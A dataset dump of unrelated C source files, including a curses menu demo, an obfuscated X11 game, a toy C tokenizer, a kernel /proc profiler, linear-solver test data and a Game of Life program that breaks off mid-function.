file
stringlengths
18
26
data
stringlengths
2
1.05M
the_stack_data/153268686.c
#include <curses.h> #include <menu.h> #define ARRAY_SIZE(a) (sizeof(a) / sizeof(a[0])) #define CTRLD 4 char *choices[] = { "Choice 1", "Choice 2", "Choice 3", "Choice 4", "Choice 5", "Choice 6", "Choice 7", "Exit", }; void func(char *name); int main() { ITEM **my_items; int c; MENU *my_menu; int n_choices, i; ITEM *cur_item; /* Initialize curses */ initscr(); start_color(); cbreak(); noecho(); keypad(stdscr, TRUE); init_pair(1, COLOR_RED, COLOR_BLACK); init_pair(2, COLOR_GREEN, COLOR_BLACK); init_pair(3, COLOR_MAGENTA, COLOR_BLACK); /* Initialize items */ n_choices = ARRAY_SIZE(choices); my_items = (ITEM **)calloc(n_choices + 1, sizeof(ITEM *)); for(i = 0; i < n_choices; ++i) { my_items[i] = new_item(choices[i], choices[i]); /* Set the user pointer */ set_item_userptr(my_items[i], func); } my_items[n_choices] = (ITEM *)NULL; /* Create menu */ my_menu = new_menu((ITEM **)my_items); /* Post the menu */ mvprintw(LINES - 3, 0, "Press <ENTER> to see the option selected"); mvprintw(LINES - 2, 0, "Up and Down arrow keys to navigate (F1 to Exit)"); post_menu(my_menu); refresh(); while((c = getch()) != KEY_F(1)) { switch(c) { case KEY_DOWN: menu_driver(my_menu, REQ_DOWN_ITEM); break; case KEY_UP: menu_driver(my_menu, REQ_UP_ITEM); break; case 10: /* Enter */ { ITEM *cur; void (*p)(char *); cur = current_item(my_menu); p = item_userptr(cur); p((char *)item_name(cur)); pos_menu_cursor(my_menu); break; } break; } } unpost_menu(my_menu); for(i = 0; i < n_choices; ++i) free_item(my_items[i]); free_menu(my_menu); endwin(); } void func(char *name) { move(20, 0); clrtoeol(); mvprintw(20, 0, "Item selected is: %s", name); }
the_stack_data/27706.c
#include <stdio.h> int main(){ int count = 0; while(count++<200); printf("count=%d\n", count); }
the_stack_data/588155.c
#include <X11/Xlib.h> #include <unistd.h> typedef long O; typedef struct { O b,f,u,s,c,a,t,e,d; } C; Display *d; Window w; GC g; XEvent e; char Q[] = "Level %d Score %d", m[222]; #define N(r) (random()%(r)) #define U I[n++]=L[n]=l; n%=222 #define K c=-l.u; l=I[i]; l.t=0; c+=l.u #define E l.e--&&!--L[l.e].d&&(L[l.e].t=3) #define M(a,e,i,o) a[0]=e,(a[1]=i)&&XFillPolygon(d,w,g,(void*)a,o,1,1) #define F return #define R while( #define Y if(l.t O p ,B, D,A=6,Z ,S=0,v= 0,n=0,W=400 ,H=300,a[7] ={ 33,99, 165, 231,297,363} ; XGCValues G={ 6,0 ,~0L,0,1} ; short T[]={ 0,300,-20,0,4 ,-20,4,10,4,-5,4,5, 4,-20,4,20,4,-5,4,5,4, -10,4,20},b[]={ 0,0,4, 0,-4,4,-4,-4,4,-4,4,4} ; C L[222],I[222];dC(O x){ M(T,a[x],H,12); } Ne(C l,O s) { l.f=l.a=1; l.b=l.u=s; l.t=16; l.e=0; U; } nL(O t,O a,O b,O x,O y,O s,O p){ C l; l.d=0; l.f=s; l.t=t; y-=l.c=b; l.e=t==2?x:p; x-=l.s=a;s=(x|1) %2*x; t=(y|1)%2*y; l.u=(a=s>t?s: t)>>9;l.a=(x<<9)/a;l.b=(y<<9)/a; U; } di(C I){ O p,q,r,s,i=222;C l; B=D=0; R i--){ l=L[i]; Y>7){ p=I.s -l.s>>9; q=I.c-l.c>>9; r=l.t==8?l.b: l.a; s=p*p+q*q; if(s<r*r||I.t==2&&s< 26) F S+=10; s=(20<<9)/(s|1); B+=p*s; D+=q*s; }} F 0; } hi(O x,O d){ O i=A; R i--&&(x<a[i]-d||x>a[i]+d)); F i; } dL(){ O c,r=0, i=222,h; C l; R i--){ l=L[i]; Y){ r++;c=l.f; Y==3){c=l.u; l.t=0; E; }R c--){-- l.u;h=l.c>>9; Y>7){XDrawArc(d,w,g, (l.s>>9)-++l.a,h-l.a,l.a*2,l.a*2,0 ,90<<8); if(!l.u){ I[i].t-=8; l=I[i]; } } else Y==2)M (b,l.s>>9,h,6); else XDrawPoint(d ,w,g,(l.s+=l.a)>>9, h=(l.c+=l.b)>>9); Y==4&&!l.u){ Ne (l,20); K; } Y&&l.t<3&&(di(l)||h> H)){ if(h>H&&(c=hi( l.s>>9,25))>=0){ dC(c); a[c]=a[-- A]; }Ne(l,30); Y==1){ E;K; } else c=l.t=0;} Y==1&&h<H -75&&!N(p*77)){ do{ nL(1,l.s,l.c, N(W<<9),H<<9,1,i+ 1); I[i].d++; }R N(3) ); K; l.u=c; c=0; } Y ==2){ l.s+=l.a+B; l.a= (l.e-l.s)/((H+ 20-h)|1); l.c+=l.b+D; M(b,l.s>>9,l.c>>9,6); } } L[i]=l; } } F r; } J(){ R A) { XFlush(d); v&&sleep( 3); Z=++v*10; p=50-v; v%2&&hi ((a[A]=N(W-50)+25),50)<0 &&A++; XClearWindow (d,w); for(B=0; B<A; dC(B++)); R Z|dL()){ Z&&!N(p)&&(Z-- ,nL(1+!N(p),N(W<<9), 0,N(W<<9),H<<9,1 ,0)); usleep(p*200); XCheckMaskEvent(d, 4,&e)&&A&&--S&&nL(4,a[N(A)]<<9,H-10<<9,e. xbutton.x<<9,e.xbutton.y<<9,5,0);}S+=A*100; B=sprintf(m,Q,v,S); XDrawString(d,w ,g,W/3,H/2,m,B); } } main () { O i=2; d=XOpenDisplay(0); w=RootWindow(d,0); R i--) XMapWindow(d,w=XCreateSimpleWindow(d,w,0,0,W,H,0,0,0)); XSelectInput(d,w,4|1<<15); XMaskEvent(d,1<<15,&e); g=XCreateGC(d,w,829,&G); srandom(time(0)); J(); puts(m); }
the_stack_data/248580079.c
int my_getnbr(char *str) { int n; long nb; int c; n = 0; nb = 0; c = 1; while (str[n] == '-' || str[n] == '+') { if (str[n] == '-') c = c *(-1); n++; } while (str[n] != '\0') { if (str[n] < '0' || str[n] > '9') return (nb * c); nb = nb * 10 + (str[n] - 48); if (nb > 2147483647 || nb < -214783648) return (0); n++; } return (nb * c); }
the_stack_data/86075586.c
/* * Copyright (c) 2007 - 2015 Joseph Gaeddert * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ // // data for testing linear solver // #include <complex.h> // matrixcf_data_linsolve_A [size: 5 x 5] float complex matrixcf_data_linsolve_A[] = { -0.482884645462 + -0.221723198891*_Complex_I /* ( 0, 0) */, -0.387645065784 + 0.086682170630*_Complex_I /* ( 0, 1) */, 1.580931067467 + 0.883717715740*_Complex_I /* ( 0, 2) */, 1.570333838463 + 1.783135294914*_Complex_I /* ( 0, 3) */, -1.081483244896 + -0.691094517708*_Complex_I /* ( 0, 4) */, 0.248138338327 + -0.250954031944*_Complex_I /* ( 1, 0) */, 0.790891706944 + -0.313775628805*_Complex_I /* ( 1, 1) */, -0.146090522408 + -1.320674061775*_Complex_I /* ( 1, 2) */, 0.672296106815 + 1.346951484680*_Complex_I /* ( 1, 3) */, -0.352442741394 + 0.056975554675*_Complex_I /* ( 1, 4) */, 0.707973957062 + -0.069402769208*_Complex_I /* ( 2, 0) */, -0.894841134548 + -1.854133605957*_Complex_I /* ( 2, 1) */, 0.397095054388 + -0.924011290073*_Complex_I /* ( 2, 2) */, 0.054669041187 + 0.017023870721*_Complex_I /* ( 2, 3) */, 0.515784740448 + -0.455956429243*_Complex_I /* ( 2, 4) */, 0.570774257183 + 0.538610219955*_Complex_I /* ( 3, 0) */, -0.389531791210 + 0.200702637434*_Complex_I /* ( 3, 1) */, 0.159817531705 + 1.283960223198*_Complex_I /* ( 3, 2) */, 1.571215510368 + 0.574963092804*_Complex_I /* ( 3, 3) */, -2.452192783356 + -0.583715677261*_Complex_I /* ( 3, 4) */, -0.603657603264 + 0.617622077465*_Complex_I /* ( 4, 0) */, 0.935181498528 + 0.949800848961*_Complex_I /* ( 4, 1) */, 0.043205004185 + 1.351160168648*_Complex_I /* ( 4, 2) */, 0.674502849579 + 0.340750336647*_Complex_I /* ( 4, 3) */, -0.241452947259 + 1.540177464485*_Complex_I /* ( 4, 4) */}; // matrixcf_data_linsolve_x [size: 5 x 1] float complex matrixcf_data_linsolve_x[] = { -0.686784207821 + 0.516409814358*_Complex_I /* ( 0, 0) */, 0.725918948650 + -0.725804686546*_Complex_I /* ( 1, 0) */, 0.048043362796 + 1.415739893913*_Complex_I /* ( 2, 0) */, 1.184294700623 + -1.108955144882*_Complex_I /* ( 3, 0) */, 1.000079274178 + 0.117630988359*_Complex_I /* ( 4, 0) */}; // matrixcf_data_linsolve_b [size: 5 x 1] float complex matrixcf_data_linsolve_b[] = { 1.889372086452 + 2.079795053851*_Complex_I /* ( 0, 0) */, 4.099006087145 + 0.093571115573*_Complex_I /* ( 1, 0) */, -0.465385431770 + -0.201195243205*_Complex_I /* ( 2, 0) */, -2.502649126311 + -1.292489487343*_Complex_I /* ( 3, 0) */, 0.307098947642 + 0.568345470088*_Complex_I /* ( 4, 0) */};
the_stack_data/28710.c
int foo(int class) { int g = 0; switch(class) { case 1: g += 2; break; case 2: g++; case 3: g++; default: g = 0; } return g; }
the_stack_data/32949752.c
/* 2008-03-31: File added and changed by Sony Corporation */ /* * fs/axfs/axfs_xip_profile.c * * profiler: /proc/axfs_xip * * Copyright 2005-2007 Sony Corporation * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * */ #ifdef CONFIG_SNSC_DEBUG_AXFS #include <linux/types.h> #include <linux/proc_fs.h> #ifndef CONFIG_SNSC_DEBUG_AXFS_XIP_RECORDS_NUM #define CONFIG_SNSC_DEBUG_AXFS_XIP_RECORDS_NUM 500 #endif #define RECORDS CONFIG_SNSC_DEBUG_AXFS_XIP_RECORDS_NUM #define MAX_FILE_NAME_LEN 48 static DECLARE_MUTEX(record_index_sem); /* each record is 64 bytes */ typedef struct { char filename[MAX_FILE_NAME_LEN]; /* XIP mapped file name */ unsigned long physaddr; /* XIP mapped physaddr */ unsigned long virtaddr; /* XIP mapped virtaddr */ unsigned int size; /* XIP mapped size */ unsigned long pgprot; /* XIP mapped page prot */ } axfs_xip_record_t; static axfs_xip_record_t axfs_xip_records[RECORDS]; static unsigned long record_index=0; /* record function */ int axfs_xip_record(unsigned char *name, unsigned long physaddr, unsigned long virtaddr, unsigned int size, unsigned long pgprot) { int namelen=0; if(down_interruptible(&record_index_sem)) return -EINTR; if(record_index >= RECORDS) goto out; axfs_xip_records[record_index].physaddr = physaddr; axfs_xip_records[record_index].virtaddr = virtaddr; axfs_xip_records[record_index].size = size; axfs_xip_records[record_index].pgprot = pgprot; memset(axfs_xip_records[record_index].filename, 0, MAX_FILE_NAME_LEN); namelen = strlen(name); strncpy(axfs_xip_records[record_index].filename, name, (namelen >= MAX_FILE_NAME_LEN)? MAX_FILE_NAME_LEN-1:namelen); record_index++; out: up(&record_index_sem); return 0; } static int axfs_xip_record_to_string(axfs_xip_record_t *record, char *buf, int len) { return snprintf(buf,len, "0x%08lx to 0x%08lx 0x%x 0x%lx %s\n", record->physaddr, record->virtaddr, record->size, record->pgprot,record->filename) ; } static unsigned int is_first_line = 1; #define PROFILE_HEADINGS "\nXIP: physaddr, virtaddr, size, pgprot, filename\n" #define HEADINGS_LEN sizeof(PROFILE_HEADINGS) static int axfs_xip_proc_read(char *page, char **start, off_t off, int count, int *eof, void *data) { unsigned long tlen=0; unsigned long index = record_index; axfs_xip_record_t *record; if(down_interruptible(&record_index_sem)) return -EINTR; if(off >= index){ *eof = 1; is_first_line = 1; goto out; } record = &axfs_xip_records[off]; if ( is_first_line ){ strncpy(page+tlen, PROFILE_HEADINGS, HEADINGS_LEN ); tlen += HEADINGS_LEN - 1; is_first_line = 0; } tlen += axfs_xip_record_to_string(record, page+tlen, PAGE_SIZE-tlen); *start = (char *)1; out: up(&record_index_sem); return tlen>count?0:tlen; } /* Write to Clear */ static int axfs_xip_proc_write(struct file *file, const char *buffer, unsigned long count, void *data) { if(down_interruptible(&record_index_sem)) return -EINTR; record_index = 0; up(&record_index_sem); return count; } static int __init axfs_xip_proc_profile(void) { struct proc_dir_entry *ent; ent = create_proc_entry("axfs_xip", S_IFREG|S_IRUGO|S_IWUSR, NULL); if (!ent) { printk(KERN_ERR "create axfs_xip proc entry failed\n"); return -ENOMEM; } ent->read_proc = axfs_xip_proc_read; ent->write_proc = axfs_xip_proc_write; return 0; } late_initcall(axfs_xip_proc_profile); #endif /* CONFIG_SNSC_DEBUG_AXFS */
the_stack_data/121129.c
int main(void){ int y=90; char a[1024]="asd"; char b='d'; int c[10]={0,2,3}; char d[10]={'a','b','c'}; char dd[10]={'d','e','f'}; d[0]='w'+2; c[1]=a[2]; y=b; return 0; }
the_stack_data/184518515.c
/* memmove for the Visium processor. Copyright (c) 2015 Rolls-Royce Controls and Data Services Limited. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Rolls-Royce Controls and Data Services Limited nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <string.h> void * memmove (void *dst, const void *src, size_t len) { char *d = dst; const char *s = src; /* The overlap case is allegedly rare - with this implementation it will have a high penalty on the GR6. */ if (s < d && d < s + len) { s += len; d += len; while (len--) *--d = *--s; return dst; } return memcpy (dst, src, len); }
the_stack_data/29498.c
#include<stdio.h> int main (void) { int i; for (i = 1; i <= 100; i++) { if (!(i % 15)) printf ("FizzBuzz"); else if (!(i % 3)) printf ("Fizz"); else if (!(i % 5)) printf ("Buzz"); else printf ("%d", i); printf("\n"); } return 0; }
the_stack_data/90766437.c
#define bool int #define true 1 #define false 0 #define NULL 0 typedef struct Vector Vector; struct Vector { void** elements; int size; int capacity; }; Vector* create_vector() { Vector* vec = malloc(sizeof(Vector)); vec->elements = malloc(sizeof(void*) * 16); vec->capacity = 16; vec->size = 0; return vec; } void vector_push_back(Vector* vec, void* e) { if (vec->size == vec->capacity) { vec->capacity *= 2; vec->elements = realloc(vec->elements, sizeof(void*) * vec->capacity); } vec->elements[vec->size] = e; ++(vec->size); } void error(const char* fmt, ...) { printf("%s", fmt); } enum TokenType { TK_NUM, // number literal TK_BYTE, // char literal TK_STR, // string literal TK_IDENT, // identifier TK_STATIC, // "static" TK_TYPEDEF, // "typedef" TK_VOID, // "void" TK_CHAR, // "char" TK_INT, // "int" TK_DOUBLE, // "double" TK_STRUCT, // "struct" TK_ENUM, // "enum" TK_CONST, // "const" TK_IF, // "if" TK_ELSE, // "else" TK_FOR, // "for" TK_WHILE, // "while" TK_SWITCH, // "switch" TK_CASE, // "case" TK_DEFAULT, // "default" TK_BREAK, // "break" TK_CONTINUE, // "continue" TK_RETURN, // "return" TK_SIZEOF, // "sizeof" TK_PLUS, // + TK_MINUS, // - TK_ASTER, // * TK_SLASH, // / TK_BS, // '\' TK_PER, // % TK_ASSIGN, // = TK_SEMICOL, // ; TK_COLON, // : TK_LPAREN, // ( TK_RPAREN, // ) TK_LBRCKT, // { TK_RBRCKT, // } TK_LSQUARE, // [ TK_RSQUARE, // ] TK_LANGLE, // < TK_RANGLE, // > TK_EXCLA, // ! TK_QUESTION, // ? TK_AMP, // & TK_HAT, // ^ TK_TILDE, // ~ TK_PIPE, // | TK_HASH, // # TK_COMMA, // , TK_DOT, // . TK_ARROW, // -> TK_EQ, // == TK_NE, // != TK_LE, // <= TK_GE, // >= TK_LOGOR, // || TK_LOGAND, // && TK_LSH, // << TK_RSH, // >> TK_INC, // ++ TK_DEC, // -- TK_MUL_EQ, // *= TK_DIV_EQ, // /= TK_MOD_EQ, // %= TK_ADD_EQ, // += TK_SUB_EQ, // -= TK_AND_EQ, // &= TK_XOR_EQ, // ^= TK_OR_EQ, // |= TK_ELLIPSIS // ... }; typedef struct Token Token; struct Token { int type; int num; char* str; int strlen; bool has_value; // true if token is "#define" and has value (#define key value) }; bool is_symbol(char p) { switch (p) { case '+': case '-': case '*': case '/': case '%': case '=': case ';': case ':': case '(': case ')': case '{': case '}': case '[': case ']': case '<': case '>': case '!': case '?': case '&': case '^': case '|': case '#': case ',': case '.': case '\\': { return true; } default: { return false; } } } Token* read_directive(const char* p, int* pos) { ++(*pos); int len = 0; while (p[*pos + len] != ' ' && p[*pos + len] != '\n') { ++len; } Token* token = calloc(1, sizeof(Token)); token->type = TK_HASH; token->strlen = len; token->str = malloc(sizeof(char) * token->strlen + 1); strncpy(token->str, &p[*pos], token->strlen); token->str[token->strlen] = '\0'; *pos += len; int a = 0; while (p[*pos + a] == ' ') { ++a; } while (isalpha(p[*pos + a]) || p[*pos + a] == '_' || isdigit(p[*pos +a])) { ++a; } while (p[*pos + a] == ' ') { ++a; } if (p[*pos + a] != '\n') { token->has_value = true; } return token; } Token* read_character(const char* p, int* pos) { ++(*pos); char c = p[*pos]; ++(*pos); if (c == '\\') { const char s = p[*pos]; ++(*pos); switch (s) { case '0': { c = '\0'; break; } default: { break; } } } if (p[*pos] != '\'') { error("char is not closed.\n"); return NULL; } ++(*pos); Token* token = calloc(1, sizeof(Token)); token->type = TK_BYTE; token->num = c; return token; } Token* read_string(const char* p, int* pos) { ++(*pos); int len = 0; bool escape = false; while (true) { if (!escape && p[*pos + len] == '"') { break; } if (p[*pos + len] == '\\') { escape = true; ++len; } else { escape = false; ++len; } } Token* token = calloc(1, sizeof(Token)); token->type = TK_STR; token->strlen = len; token->str = malloc(sizeof(char) * token->strlen + 1); strncpy(token->str, &p[*pos], token->strlen); token->str[token->strlen] = '\0'; *pos += (len + 1); return token; } Token* read_symbol(const char* p, int* pos) { Token* token = calloc(1, sizeof(Token)); const char f = p[*pos]; ++(*pos); const char s = p[*pos]; switch (f) { case '+': { switch (s) { case '+': { token->type = TK_INC; ++(*pos); return token; } case '=': { token->type = TK_ADD_EQ; ++(*pos); return token; } default: { token->type = TK_PLUS; return token; } } } case '-': { switch (s) { case '-': { token->type = TK_DEC; ++(*pos); return token; } case '=': { token->type = TK_SUB_EQ; ++(*pos); return token; } case '>': { token->type = TK_ARROW; ++(*pos); return token; } default: { token->type = TK_MINUS; return token; } } } case '*': { switch (s) { case '=': { token->type = TK_MUL_EQ; ++(*pos); return token; } default: { token->type = TK_ASTER; return token; } } } case '/': { switch (s) { case '=': { token->type = TK_DIV_EQ; ++(*pos); return token; } default: { token->type = TK_SLASH; return token; } } } case '%': { switch (s) { case '=': { token->type = TK_MOD_EQ; ++(*pos); return token; } default: { token->type = TK_PER; return token; } } } case '=': { switch (s) { case '=': { token->type = TK_EQ; ++(*pos); return token; } default: { token->type = TK_ASSIGN; return token; } } } case ';': { token->type = TK_SEMICOL; return token; } case ':': { token->type = TK_COLON; return token; } case '(': { token->type = TK_LPAREN; return token; } case ')': { token->type = TK_RPAREN; return token; } case '{': { token->type = TK_LBRCKT; return token; } case '}': { token->type = TK_RBRCKT; return token; } case '[': { token->type = TK_LSQUARE; return token; } case ']': { token->type = TK_RSQUARE; return token; } case '<': { switch (s) { case '<': { token->type = TK_LSH; ++(*pos); return token; } case '=': { token->type = TK_LE; ++(*pos); return token; } default: { token->type = TK_LANGLE; return token; } } } case '>': { switch (s) { case '>': { token->type = TK_RSH; ++(*pos); return token; } case '=': { token->type = TK_GE; ++(*pos); return token; } default: { token->type = TK_RANGLE; return token; } } } case '!': { switch (s) { case '=': { token->type = TK_NE; ++(*pos); return token; } default: { token->type = TK_EXCLA; return token; } } } case '?': { token->type = TK_QUESTION; return token; } case '&': { switch (s) { case '&': { token->type = TK_LOGAND; ++(*pos); return token; } case '=': { token->type = TK_AND_EQ; ++(*pos); return token; } default: { token->type = TK_AMP; return token; } } } case '^': { switch (s) { case '=': { token->type = TK_XOR_EQ; ++(*pos); return token; } default: { token->type = TK_HAT; return token; } } } case '|': { switch (s) { case '=': { token->type = TK_OR_EQ; ++(*pos); return token; } case '|': { token->type = TK_LOGOR; ++(*pos); return token; } default: { token->type = TK_PIPE; return token; } } } case ',': { token->type = TK_COMMA; return token; } case '.': { const char t = p[*pos + 1]; if (s == '.' && t == '.') { token->type = TK_ELLIPSIS; *pos += 2; } else { token->type = TK_DOT; } return token; } case '\\': { token->type = TK_BS; return token; } default: { return NULL; } } } Token* read_identifier(const char* p, int* pos) { Token* token = calloc(1, sizeof(Token)); token->type = TK_IDENT; int len = 0; while (isdigit(p[*pos + len]) || isalpha(p[*pos + len]) || p[*pos + len] == '_') { ++len; } switch (p[*pos]) { case 'b': { if (len != 5) { break; } if (strncmp("break", &p[*pos], 5) == 0) { token->type = TK_BREAK; } break; } case 'c': { if (len != 4 && len != 5 && len != 8) { break; } if (strncmp("char", &p[*pos], 4) == 0) { token->type = TK_CHAR; } else if (strncmp("case", &p[*pos], 4) == 0) { token->type = TK_CASE; } else if (strncmp("const", &p[*pos], 5) == 0) { token->type = TK_CONST; } else if (strncmp("continue", &p[*pos], 8) == 0) { token->type = TK_CONTINUE; } break; } case 'd': { if (len != 6 && len != 7) { break; } if (strncmp("double", &p[*pos], 6) == 0) { token->type = TK_DOUBLE; } else if (strncmp("default", &p[*pos], 7) == 0) { token->type = TK_DEFAULT; } break; } case 'e': { if (len != 4) { break; } if (strncmp("else", &p[*pos], 4) == 0) { token->type = TK_ELSE; } else if (strncmp("enum", &p[*pos], 4) == 0) { token->type = TK_ENUM; } break; } case 'f': { if (len != 3) { break; } if (strncmp("for",&p[*pos], 3) == 0) { token->type = TK_FOR; } break; } case 'i': { if (len != 2 && len != 3) { break; } if (strncmp("if", &p[*pos], 2) == 0) { token->type = TK_IF; } else if (strncmp("int", &p[*pos], 3) == 0) { token->type = TK_INT; } break; } case 'r': { if (len != 6) { break; } if (strncmp("return", &p[*pos], 6) == 0) { token->type = TK_RETURN; } break; } case 's': { if (len != 6) { break; } if (strncmp("struct", &p[*pos], 6) == 0) { token->type = TK_STRUCT; } else if (strncmp("switch", &p[*pos], 6) == 0) { token->type = TK_SWITCH; } else if (strncmp("static", &p[*pos], 6) == 0) { token->type = TK_STATIC; } else if (strncmp("sizeof", &p[*pos], 6) == 0) { token->type = TK_SIZEOF; } break; } case 't': { if (len != 7) { break; } if (strncmp("typedef", &p[*pos], 7) == 0) { token->type = TK_TYPEDEF; } break; } case 'v': { if (len != 4) { break; } if (strncmp("void", &p[*pos], 4) == 0) { token->type = TK_VOID; } break; } case 'w': { if (len != 5) { break; } if (strncmp("while", &p[*pos], 5) == 0) { token->type = TK_WHILE; } break; } default: { break; } } if (token->type == TK_IDENT) { token->str = calloc(1, sizeof(char) * len + 1); token->strlen = len + 1; strncpy(token->str, &p[*pos], len); token->str[len] = '\0'; } *(pos) += len; return token; } Token* read_number(const char* p, int* pos) { Token* token = calloc(1, sizeof(Token)); token->type = TK_NUM; int len = 0; while (isdigit(p[*pos + len])) { ++len; } char buf[32]; strncpy(buf, &p[*pos], 32); buf[len] = '\0'; token->num = atoi(buf); *pos += len; return token; } bool is_line_comment(const char* p, int pos) { return (strncmp(&p[pos], "//", 2) == 0); } bool is_block_comment_begin(const char* p, int pos) { return (strncmp(&p[pos], "/*", 2) == 0); } bool is_block_comment_end(const char* p, int pos) { return (strncmp(&p[pos], "*/", 2) == 0); } Vector* tokenize(char* addr) { Vector* vec = create_vector(); int pos = 0; const char* p = addr; Token* token = NULL; while (p[pos]) { if (isspace(p[pos])) { ++pos; } else if (is_line_comment(p, pos)) { while (p[pos] != '\n') { ++pos; } } else if (is_block_comment_begin(p, pos)) { while (!is_block_comment_end(p, pos)) { ++pos; } pos += 2; } else if (p[pos] == '#') { token = read_directive(p, &pos); if (token == NULL) { error("Failed to read directive.\n"); return NULL; } vector_push_back(vec, token); } else if (p[pos] == '\'') { token = read_character(p, &pos); if (token == NULL) { error("Failed to read character.\n"); return NULL; } vector_push_back(vec, token); } else if (p[pos] == '"') { token = read_string(p, &pos); if (token == NULL) { error("Failed to read string.\n"); return NULL; } vector_push_back(vec, token); } else if (is_symbol(p[pos])) { token = read_symbol(p, &pos); if (token == NULL) { error("Failed to read symbol.\n"); return NULL; } vector_push_back(vec, token); } else if (isalpha(p[pos]) || p[pos] == '_') { token = read_identifier(p, &pos); if (token == NULL) { error("Failed to read identifier.\n"); return NULL; } vector_push_back(vec, token); } else if (isdigit(p[pos])) { token = read_number(p, &pos); if (token == NULL) { error("Failed to read number.\n"); return NULL; } vector_push_back(vec, token); } else { error("Invalid character[%d]='%c'\n", pos, p[pos]); return NULL; } } return vec; } int main() { char* str = malloc(sizeof(char) * 256); strncpy(str, "int main() { return 0; }\0", 256); Vector* tokens = tokenize(str); int ret = 0; for (int i = 0; i < tokens->size; ++i) { Token* token = tokens->elements[i]; ret += token->type; } return ret; }
the_stack_data/31388662.c
//////////////////////////////////////////////////////////////////////////////// // __ _ _ _ // // / _(_) | | | | // // __ _ _ _ ___ ___ _ __ | |_ _ ___| | __| | // // / _` | | | |/ _ \/ _ \ '_ \| _| |/ _ \ |/ _` | // // | (_| | |_| | __/ __/ | | | | | | __/ | (_| | // // \__, |\__,_|\___|\___|_| |_|_| |_|\___|_|\__,_| // // | | // // |_| // // // // // // RISC-V CPU // // Hello World // // Software // // // //////////////////////////////////////////////////////////////////////////////// /* Copyright (c) 2017-2018 by the author(s) * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * ============================================================================= * Author(s): * Paco Reina Campo <[email protected]> */ #include <stdio.h> #include <stdlib.h> typedef struct cell_t_ { struct cell_t_ *neighbours[8]; int on; } cell_t; typedef struct world_t_ { cell_t **array; int width; int height; void *mem; } world_t; void printworld(world_t *world, FILE *pOutput) { int x, y; for(y = 0; y < world->height; y++) { for(x = 0; x < world->width; x++) { fprintf(pOutput, "%c", (world->array[y][x]).on ? 254 : ' '); } fputc((int)'\n', pOutput); } fflush(pOutput); } void randomizeworld(world_t *world) { int x, y; for(y = 0; y < world->height; y++) { for(x = 0; x < world->width; x++) { (world->array[y][x]).on = rand() & 1; } } } void updateworld(world_t *world) { int x, y, i, neighbours; for(y = 0; y < world->height; y++) { for(x = 0; x < world->width; x++, neighbours = 0) { for(i = 0; i < 8; i++) if((world->array[y][x].neighbours[i]) && ((world->array[y][x]).neighbours[i]->on & 1)) neighbours++; if((neighbours < 2) || (neighbours > 3)) (world->array[y][x]).on |= 2; else if(neighbours == 3) (world->array[y][x]).on |= 4; } } for(y = 0; y < world->height; y++) { for(x = 0; x < world->width; x++) { if(world->array[y][x].on & 4) world->array[y][x].on = 1; else if(world->array[y][x].on & 2) world->array[y][x].on = 0; 